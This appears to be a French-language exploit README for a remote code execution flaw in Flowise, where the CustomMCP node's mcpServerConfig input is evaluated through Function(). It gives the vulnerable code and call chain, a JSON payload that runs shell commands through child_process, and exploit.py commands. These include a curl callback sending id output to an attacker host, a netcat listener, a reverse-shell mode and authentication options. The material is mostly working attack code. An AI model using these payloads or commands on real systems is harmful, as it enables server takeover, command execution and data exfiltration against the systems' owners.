function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← Exécution de code arbitraire
}

HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → couche de service
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

pip install requests

python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

# Exfiltrer la sortie via callback
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

# Démarrer l'écouteur
nc -lvnp 4444

# Lancer l'exploit (essaie automatiquement bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ADRESSE_ATTAQUANT --lport 4444 \
  --email [email protected] --password pass

# Authentification JWT (Flowise >= 3.0.1)
--email [email protected] --password pass

# Authentification de base (Flowise < 3.0.1 avec la variable d'environnement FLOWISE_USERNAME)
--username admin --password pass

# Chaîne de cookie brute (solution de repli)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."